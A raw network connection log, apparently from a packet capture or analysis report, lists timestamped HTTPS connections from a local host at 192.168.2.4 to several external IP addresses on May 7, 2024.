May 7, 2024 20:31:25.868719101 CEST	49784	443	192.168.2.4	104.17.2.184
May 7, 2024 20:31:25.868757010 CEST	443	49784	104.17.2.184	192.168.2.4
May 7, 2024 20:31:25.868901968 CEST	49784	443	192.168.2.4	104.17.2.184
May 7, 2024 20:31:25.869365931 CEST	49784	443	192.168.2.4	104.17.2.184
May 7, 2024 20:31:25.869386911 CEST	443	49784	104.17.2.184	192.168.2.4
May 7, 2024 20:31:26.041891098 CEST	443	49784	104.17.2.184	192.168.2.4
May 7, 2024 20:31:26.042155981 CEST	49784	443	192.168.2.4	104.17.2.184
May 7, 2024 20:31:26.042176008 CEST	443	49784	104.17.2.184	192.168.2.4
May 7, 2024 20:31:26.042552948 CEST	443	49784	104.17.2.184	192.168.2.4
May 7, 2024 20:31:26.043088913 CEST	49784	443	192.168.2.4	104.17.2.184
May 7, 2024 20:31:26.043153048 CEST	443	49784	104.17.2.184	192.168.2.4
May 7, 2024 20:31:26.043239117 CEST	49784	443	192.168.2.4	104.17.2.184
May 7, 2024 20:31:26.084124088 CEST	443	49784	104.17.2.184	192.168.2.4
May 7, 2024 20:31:26.088239908 CEST	49784	443	192.168.2.4	104.17.2.184
May 7, 2024 20:31:26.276309967 CEST	443	49784	104.17.2.184	192.168.2.4
May 7, 2024 20:31:26.276385069 CEST	443	49784	104.17.2.184	192.168.2.4
May 7, 2024 20:31:26.276555061 CEST	49784	443	192.168.2.4	104.17.2.184
May 7, 2024 20:31:26.344916105 CEST	49785	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:26.344973087 CEST	443	49785	104.17.3.184	192.168.2.4
May 7, 2024 20:31:26.345118999 CEST	49785	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:26.345462084 CEST	49785	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:26.345490932 CEST	443	49785	104.17.3.184	192.168.2.4
May 7, 2024 20:31:26.365674973 CEST	49784	443	192.168.2.4	104.17.2.184
May 7, 2024 20:31:26.365695953 CEST	443	49784	104.17.2.184	192.168.2.4
May 7, 2024 20:31:26.532783031 CEST	443	49785	104.17.3.184	192.168.2.4
May 7, 2024 20:31:26.533072948 CEST	49785	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:26.533096075 CEST	443	49785	104.17.3.184	192.168.2.4
May 7, 2024 20:31:26.533515930 CEST	443	49785	104.17.3.184	192.168.2.4
May 7, 2024 20:31:26.533938885 CEST	49785	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:26.534070015 CEST	443	49785	104.17.3.184	192.168.2.4
May 7, 2024 20:31:26.534212112 CEST	49785	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:26.534291983 CEST	49785	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:26.534317970 CEST	443	49785	104.17.3.184	192.168.2.4
May 7, 2024 20:31:26.534373999 CEST	49785	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:26.534385920 CEST	443	49785	104.17.3.184	192.168.2.4
May 7, 2024 20:31:26.534410954 CEST	49785	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:26.534426928 CEST	443	49785	104.17.3.184	192.168.2.4
May 7, 2024 20:31:26.743187904 CEST	443	49785	104.17.3.184	192.168.2.4
May 7, 2024 20:31:26.743253946 CEST	443	49785	104.17.3.184	192.168.2.4
May 7, 2024 20:31:26.743279934 CEST	443	49785	104.17.3.184	192.168.2.4
May 7, 2024 20:31:26.743304968 CEST	443	49785	104.17.3.184	192.168.2.4
May 7, 2024 20:31:26.743309975 CEST	49785	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:26.743338108 CEST	443	49785	104.17.3.184	192.168.2.4
May 7, 2024 20:31:26.743351936 CEST	49785	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:26.743562937 CEST	443	49785	104.17.3.184	192.168.2.4
May 7, 2024 20:31:26.743709087 CEST	443	49785	104.17.3.184	192.168.2.4
May 7, 2024 20:31:26.743735075 CEST	49785	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:26.743741035 CEST	443	49785	104.17.3.184	192.168.2.4
May 7, 2024 20:31:26.743830919 CEST	443	49785	104.17.3.184	192.168.2.4
May 7, 2024 20:31:26.743872881 CEST	49785	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:26.743877888 CEST	443	49785	104.17.3.184	192.168.2.4
May 7, 2024 20:31:26.743930101 CEST	49785	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:26.743932962 CEST	443	49785	104.17.3.184	192.168.2.4
May 7, 2024 20:31:26.744076014 CEST	443	49785	104.17.3.184	192.168.2.4
May 7, 2024 20:31:26.744117022 CEST	49785	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:26.744121075 CEST	443	49785	104.17.3.184	192.168.2.4
May 7, 2024 20:31:26.744410038 CEST	443	49785	104.17.3.184	192.168.2.4
May 7, 2024 20:31:26.744450092 CEST	49785	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:26.744453907 CEST	443	49785	104.17.3.184	192.168.2.4
May 7, 2024 20:31:26.744581938 CEST	443	49785	104.17.3.184	192.168.2.4
May 7, 2024 20:31:26.744623899 CEST	443	49785	104.17.3.184	192.168.2.4
May 7, 2024 20:31:26.744638920 CEST	49785	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:26.744642973 CEST	443	49785	104.17.3.184	192.168.2.4
May 7, 2024 20:31:26.744680882 CEST	49785	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:26.744684935 CEST	443	49785	104.17.3.184	192.168.2.4
May 7, 2024 20:31:26.744798899 CEST	443	49785	104.17.3.184	192.168.2.4
May 7, 2024 20:31:26.744842052 CEST	49785	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:26.744846106 CEST	443	49785	104.17.3.184	192.168.2.4
May 7, 2024 20:31:26.745286942 CEST	443	49785	104.17.3.184	192.168.2.4
May 7, 2024 20:31:26.745340109 CEST	49785	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:26.745624065 CEST	49785	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:26.745640993 CEST	443	49785	104.17.3.184	192.168.2.4
May 7, 2024 20:31:26.765202045 CEST	49786	443	192.168.2.4	104.17.2.184
May 7, 2024 20:31:26.765260935 CEST	443	49786	104.17.2.184	192.168.2.4
May 7, 2024 20:31:26.765336037 CEST	49786	443	192.168.2.4	104.17.2.184
May 7, 2024 20:31:26.765553951 CEST	49786	443	192.168.2.4	104.17.2.184
May 7, 2024 20:31:26.765568018 CEST	443	49786	104.17.2.184	192.168.2.4
May 7, 2024 20:31:26.938426971 CEST	443	49786	104.17.2.184	192.168.2.4
May 7, 2024 20:31:26.938690901 CEST	49786	443	192.168.2.4	104.17.2.184
May 7, 2024 20:31:26.938710928 CEST	443	49786	104.17.2.184	192.168.2.4
May 7, 2024 20:31:26.939071894 CEST	443	49786	104.17.2.184	192.168.2.4
May 7, 2024 20:31:26.939457893 CEST	49786	443	192.168.2.4	104.17.2.184
May 7, 2024 20:31:26.939519882 CEST	443	49786	104.17.2.184	192.168.2.4
May 7, 2024 20:31:26.939594984 CEST	49786	443	192.168.2.4	104.17.2.184
May 7, 2024 20:31:26.984111071 CEST	443	49786	104.17.2.184	192.168.2.4
May 7, 2024 20:31:27.159693956 CEST	443	49786	104.17.2.184	192.168.2.4
May 7, 2024 20:31:27.159835100 CEST	443	49786	104.17.2.184	192.168.2.4
May 7, 2024 20:31:27.159892082 CEST	49786	443	192.168.2.4	104.17.2.184
May 7, 2024 20:31:27.160679102 CEST	49786	443	192.168.2.4	104.17.2.184
May 7, 2024 20:31:27.160695076 CEST	443	49786	104.17.2.184	192.168.2.4
May 7, 2024 20:31:36.535542011 CEST	49787	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:36.535604000 CEST	443	49787	104.17.3.184	192.168.2.4
May 7, 2024 20:31:36.535783052 CEST	49787	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:36.536571026 CEST	49787	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:36.536592007 CEST	443	49787	104.17.3.184	192.168.2.4
May 7, 2024 20:31:36.709130049 CEST	443	49787	104.17.3.184	192.168.2.4
May 7, 2024 20:31:36.709549904 CEST	49787	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:36.709575891 CEST	443	49787	104.17.3.184	192.168.2.4
May 7, 2024 20:31:36.709960938 CEST	443	49787	104.17.3.184	192.168.2.4
May 7, 2024 20:31:36.710407972 CEST	49787	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:36.710494995 CEST	443	49787	104.17.3.184	192.168.2.4
May 7, 2024 20:31:36.710707903 CEST	49787	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:36.710803032 CEST	49787	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:36.710829020 CEST	443	49787	104.17.3.184	192.168.2.4
May 7, 2024 20:31:36.711019039 CEST	49787	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:36.711041927 CEST	443	49787	104.17.3.184	192.168.2.4
May 7, 2024 20:31:37.008501053 CEST	443	49787	104.17.3.184	192.168.2.4
May 7, 2024 20:31:37.008547068 CEST	443	49787	104.17.3.184	192.168.2.4
May 7, 2024 20:31:37.008575916 CEST	443	49787	104.17.3.184	192.168.2.4
May 7, 2024 20:31:37.008594036 CEST	49787	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:37.008621931 CEST	443	49787	104.17.3.184	192.168.2.4
May 7, 2024 20:31:37.008676052 CEST	49787	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:37.008683920 CEST	443	49787	104.17.3.184	192.168.2.4
May 7, 2024 20:31:37.008694887 CEST	443	49787	104.17.3.184	192.168.2.4
May 7, 2024 20:31:37.008754015 CEST	49787	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:37.009675026 CEST	49787	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:37.009692907 CEST	443	49787	104.17.3.184	192.168.2.4
May 7, 2024 20:31:37.032001972 CEST	49788	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:37.032042027 CEST	443	49788	5.230.47.86	192.168.2.4
May 7, 2024 20:31:37.032187939 CEST	49788	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:37.032305002 CEST	49789	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:37.032361031 CEST	443	49789	5.230.47.86	192.168.2.4
May 7, 2024 20:31:37.032421112 CEST	49789	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:37.033235073 CEST	49789	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:37.033247948 CEST	443	49789	5.230.47.86	192.168.2.4
May 7, 2024 20:31:37.033438921 CEST	49788	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:37.033449888 CEST	443	49788	5.230.47.86	192.168.2.4
May 7, 2024 20:31:37.041506052 CEST	49790	443	192.168.2.4	104.17.2.184
May 7, 2024 20:31:37.041551113 CEST	443	49790	104.17.2.184	192.168.2.4
May 7, 2024 20:31:37.041619062 CEST	49790	443	192.168.2.4	104.17.2.184
May 7, 2024 20:31:37.041824102 CEST	49790	443	192.168.2.4	104.17.2.184
May 7, 2024 20:31:37.041832924 CEST	443	49790	104.17.2.184	192.168.2.4
May 7, 2024 20:31:37.216351032 CEST	443	49790	104.17.2.184	192.168.2.4
May 7, 2024 20:31:37.216635942 CEST	49790	443	192.168.2.4	104.17.2.184
May 7, 2024 20:31:37.216665030 CEST	443	49790	104.17.2.184	192.168.2.4
May 7, 2024 20:31:37.217545986 CEST	443	49790	104.17.2.184	192.168.2.4
May 7, 2024 20:31:37.217902899 CEST	49790	443	192.168.2.4	104.17.2.184
May 7, 2024 20:31:37.218039989 CEST	443	49790	104.17.2.184	192.168.2.4
May 7, 2024 20:31:37.218050003 CEST	49790	443	192.168.2.4	104.17.2.184
May 7, 2024 20:31:37.260124922 CEST	443	49790	104.17.2.184	192.168.2.4
May 7, 2024 20:31:37.271564960 CEST	49790	443	192.168.2.4	104.17.2.184
May 7, 2024 20:31:37.398638010 CEST	443	49788	5.230.47.86	192.168.2.4
May 7, 2024 20:31:37.401622057 CEST	49788	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:37.401638985 CEST	443	49788	5.230.47.86	192.168.2.4
May 7, 2024 20:31:37.402009964 CEST	443	49788	5.230.47.86	192.168.2.4
May 7, 2024 20:31:37.402422905 CEST	49788	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:37.402481079 CEST	443	49788	5.230.47.86	192.168.2.4
May 7, 2024 20:31:37.402817965 CEST	49788	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:37.403028965 CEST	49788	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:37.403037071 CEST	443	49788	5.230.47.86	192.168.2.4
May 7, 2024 20:31:37.408415079 CEST	443	49789	5.230.47.86	192.168.2.4
May 7, 2024 20:31:37.408670902 CEST	49789	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:37.408696890 CEST	443	49789	5.230.47.86	192.168.2.4
May 7, 2024 20:31:37.409029961 CEST	443	49789	5.230.47.86	192.168.2.4
May 7, 2024 20:31:37.409778118 CEST	49789	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:37.409847021 CEST	443	49789	5.230.47.86	192.168.2.4
May 7, 2024 20:31:37.432696104 CEST	443	49790	104.17.2.184	192.168.2.4
May 7, 2024 20:31:37.432760000 CEST	443	49790	104.17.2.184	192.168.2.4
May 7, 2024 20:31:37.432934999 CEST	49790	443	192.168.2.4	104.17.2.184
May 7, 2024 20:31:37.434526920 CEST	49790	443	192.168.2.4	104.17.2.184
May 7, 2024 20:31:37.434551001 CEST	443	49790	104.17.2.184	192.168.2.4
May 7, 2024 20:31:37.465877056 CEST	49789	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:38.062501907 CEST	443	49788	5.230.47.86	192.168.2.4
May 7, 2024 20:31:38.064261913 CEST	49788	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:38.064291000 CEST	443	49788	5.230.47.86	192.168.2.4
May 7, 2024 20:31:38.064385891 CEST	49788	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:38.177808046 CEST	49791	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:38.177875042 CEST	443	49791	5.230.47.86	192.168.2.4
May 7, 2024 20:31:38.177942038 CEST	49791	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:38.178170919 CEST	49791	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:38.178189993 CEST	443	49791	5.230.47.86	192.168.2.4
May 7, 2024 20:31:38.531344891 CEST	443	49791	5.230.47.86	192.168.2.4
May 7, 2024 20:31:38.531635046 CEST	49791	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:38.531661034 CEST	443	49791	5.230.47.86	192.168.2.4
May 7, 2024 20:31:38.532843113 CEST	443	49791	5.230.47.86	192.168.2.4
May 7, 2024 20:31:38.532902956 CEST	49791	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:38.534132957 CEST	49791	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:38.534212112 CEST	443	49791	5.230.47.86	192.168.2.4
May 7, 2024 20:31:38.534368992 CEST	49791	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:38.580125093 CEST	443	49791	5.230.47.86	192.168.2.4
May 7, 2024 20:31:38.583802938 CEST	49791	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:38.583827019 CEST	443	49791	5.230.47.86	192.168.2.4
May 7, 2024 20:31:38.630325079 CEST	49791	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:38.873349905 CEST	443	49791	5.230.47.86	192.168.2.4
May 7, 2024 20:31:38.873866081 CEST	49791	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:38.873908997 CEST	443	49791	5.230.47.86	192.168.2.4
May 7, 2024 20:31:38.873976946 CEST	49791	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:38.876421928 CEST	49792	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:38.876455069 CEST	443	49792	5.230.47.86	192.168.2.4
May 7, 2024 20:31:38.876518011 CEST	49792	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:38.876775980 CEST	49792	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:38.876789093 CEST	443	49792	5.230.47.86	192.168.2.4
May 7, 2024 20:31:39.251542091 CEST	443	49792	5.230.47.86	192.168.2.4
May 7, 2024 20:31:39.251861095 CEST	49792	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:39.251887083 CEST	443	49792	5.230.47.86	192.168.2.4
May 7, 2024 20:31:39.252934933 CEST	443	49792	5.230.47.86	192.168.2.4
May 7, 2024 20:31:39.253118038 CEST	49792	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:39.253406048 CEST	49792	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:39.253463030 CEST	443	49792	5.230.47.86	192.168.2.4
May 7, 2024 20:31:39.253609896 CEST	49792	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:39.253616095 CEST	443	49792	5.230.47.86	192.168.2.4
May 7, 2024 20:31:39.296785116 CEST	49792	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:39.657460928 CEST	443	49792	5.230.47.86	192.168.2.4
May 7, 2024 20:31:39.659348965 CEST	49792	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:39.659401894 CEST	443	49792	5.230.47.86	192.168.2.4
May 7, 2024 20:31:39.659554005 CEST	443	49792	5.230.47.86	192.168.2.4
May 7, 2024 20:31:39.659583092 CEST	49792	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:39.662966013 CEST	49793	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:39.663023949 CEST	443	49793	5.230.47.86	192.168.2.4
May 7, 2024 20:31:39.663064003 CEST	49792	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:39.663137913 CEST	49793	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:39.667130947 CEST	49793	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:39.667165041 CEST	443	49793	5.230.47.86	192.168.2.4
May 7, 2024 20:31:40.030992031 CEST	443	49793	5.230.47.86	192.168.2.4
May 7, 2024 20:31:40.031305075 CEST	49793	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:40.031341076 CEST	443	49793	5.230.47.86	192.168.2.4
May 7, 2024 20:31:40.032430887 CEST	443	49793	5.230.47.86	192.168.2.4
May 7, 2024 20:31:40.032505989 CEST	49793	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:40.032928944 CEST	49793	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:40.032984972 CEST	443	49793	5.230.47.86	192.168.2.4
May 7, 2024 20:31:40.033094883 CEST	49793	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:40.033103943 CEST	443	49793	5.230.47.86	192.168.2.4
May 7, 2024 20:31:40.079924107 CEST	49793	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:40.464495897 CEST	443	49793	5.230.47.86	192.168.2.4
May 7, 2024 20:31:40.464515924 CEST	443	49793	5.230.47.86	192.168.2.4
May 7, 2024 20:31:40.464529991 CEST	443	49793	5.230.47.86	192.168.2.4
May 7, 2024 20:31:40.464540005 CEST	443	49793	5.230.47.86	192.168.2.4
May 7, 2024 20:31:40.464550018 CEST	443	49793	5.230.47.86	192.168.2.4
May 7, 2024 20:31:40.464562893 CEST	443	49793	5.230.47.86	192.168.2.4
May 7, 2024 20:31:40.464577913 CEST	49793	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:40.464605093 CEST	443	49793	5.230.47.86	192.168.2.4
May 7, 2024 20:31:40.464620113 CEST	49793	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:40.466089964 CEST	49793	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:40.466142893 CEST	443	49793	5.230.47.86	192.168.2.4
May 7, 2024 20:31:40.466209888 CEST	49793	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:40.468822002 CEST	49794	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:40.468852043 CEST	443	49794	5.230.47.86	192.168.2.4
May 7, 2024 20:31:40.468933105 CEST	49794	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:40.469156027 CEST	49794	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:40.469166994 CEST	443	49794	5.230.47.86	192.168.2.4
May 7, 2024 20:31:40.806885958 CEST	443	49794	5.230.47.86	192.168.2.4
May 7, 2024 20:31:40.807265043 CEST	49794	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:40.807293892 CEST	443	49794	5.230.47.86	192.168.2.4
May 7, 2024 20:31:40.808420897 CEST	443	49794	5.230.47.86	192.168.2.4
May 7, 2024 20:31:40.808490992 CEST	49794	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:40.808828115 CEST	49794	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:40.808883905 CEST	443	49794	5.230.47.86	192.168.2.4
May 7, 2024 20:31:40.809022903 CEST	49794	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:40.809030056 CEST	443	49794	5.230.47.86	192.168.2.4
May 7, 2024 20:31:40.863367081 CEST	49794	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:41.415659904 CEST	443	49794	5.230.47.86	192.168.2.4
May 7, 2024 20:31:41.415682077 CEST	443	49794	5.230.47.86	192.168.2.4
May 7, 2024 20:31:41.415688992 CEST	443	49794	5.230.47.86	192.168.2.4
May 7, 2024 20:31:41.415704012 CEST	443	49794	5.230.47.86	192.168.2.4
May 7, 2024 20:31:41.415710926 CEST	443	49794	5.230.47.86	192.168.2.4
May 7, 2024 20:31:41.415731907 CEST	49794	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:41.415754080 CEST	443	49794	5.230.47.86	192.168.2.4
May 7, 2024 20:31:41.415767908 CEST	443	49794	5.230.47.86	192.168.2.4
May 7, 2024 20:31:41.415776014 CEST	49794	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:41.415786028 CEST	443	49794	5.230.47.86	192.168.2.4
May 7, 2024 20:31:41.415807962 CEST	49794	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:41.415817022 CEST	443	49794	5.230.47.86	192.168.2.4
May 7, 2024 20:31:41.415829897 CEST	49794	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:41.415849924 CEST	443	49794	5.230.47.86	192.168.2.4
May 7, 2024 20:31:41.416117907 CEST	49794	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:41.426561117 CEST	49794	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:41.426573992 CEST	443	49794	5.230.47.86	192.168.2.4
May 7, 2024 20:31:41.660953999 CEST	49795	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:41.660978079 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:41.661086082 CEST	49795	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:41.662157059 CEST	49795	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:41.662169933 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:42.015868902 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:42.016179085 CEST	49795	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:42.016202927 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:42.016546011 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:42.019993067 CEST	49795	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:42.020066023 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:42.020200968 CEST	49795	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:42.020225048 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:42.070180893 CEST	49795	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:42.577477932 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:42.577498913 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:42.577506065 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:42.577539921 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:42.577553988 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:42.577568054 CEST	49795	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:42.577580929 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:42.577589035 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:42.577608109 CEST	49795	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:42.577641010 CEST	49795	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:42.749780893 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:42.749804020 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:42.749866962 CEST	49795	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:42.749892950 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:42.749938011 CEST	49795	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:42.922229052 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:42.922272921 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:42.922317982 CEST	49795	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:42.922343016 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:42.922363043 CEST	49795	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:42.922396898 CEST	49795	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:43.094400883 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:43.094427109 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:43.094513893 CEST	49795	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:43.094538927 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:43.094587088 CEST	49795	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:43.266810894 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:43.266835928 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:43.266904116 CEST	49795	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:43.266941071 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:43.266988039 CEST	49795	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:43.439317942 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:43.439347982 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:43.439400911 CEST	49795	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:43.439425945 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:43.439454079 CEST	49795	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:43.439476013 CEST	49795	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:43.611418009 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:43.611439943 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:43.611506939 CEST	49795	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:43.611538887 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:43.611737967 CEST	49795	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:43.786106110 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:43.786129951 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:43.786206961 CEST	49795	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:43.786238909 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:43.786287069 CEST	49795	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:43.958590984 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:43.958640099 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:43.958666086 CEST	49795	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:43.958677053 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:43.958745003 CEST	49795	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:43.960762024 CEST	49795	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:43.960777044 CEST	443	49795	5.230.47.86	192.168.2.4
May 7, 2024 20:31:44.017900944 CEST	49796	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:44.017944098 CEST	443	49796	5.230.47.86	192.168.2.4
May 7, 2024 20:31:44.018033028 CEST	49796	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:44.018074989 CEST	49797	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:44.018115044 CEST	443	49797	5.230.47.86	192.168.2.4
May 7, 2024 20:31:44.018179893 CEST	49797	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:44.018548012 CEST	49797	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:44.018563032 CEST	443	49797	5.230.47.86	192.168.2.4
May 7, 2024 20:31:44.018855095 CEST	49796	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:44.018870115 CEST	443	49796	5.230.47.86	192.168.2.4
May 7, 2024 20:31:44.369050980 CEST	443	49797	5.230.47.86	192.168.2.4
May 7, 2024 20:31:44.369465113 CEST	49797	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:44.369501114 CEST	443	49797	5.230.47.86	192.168.2.4
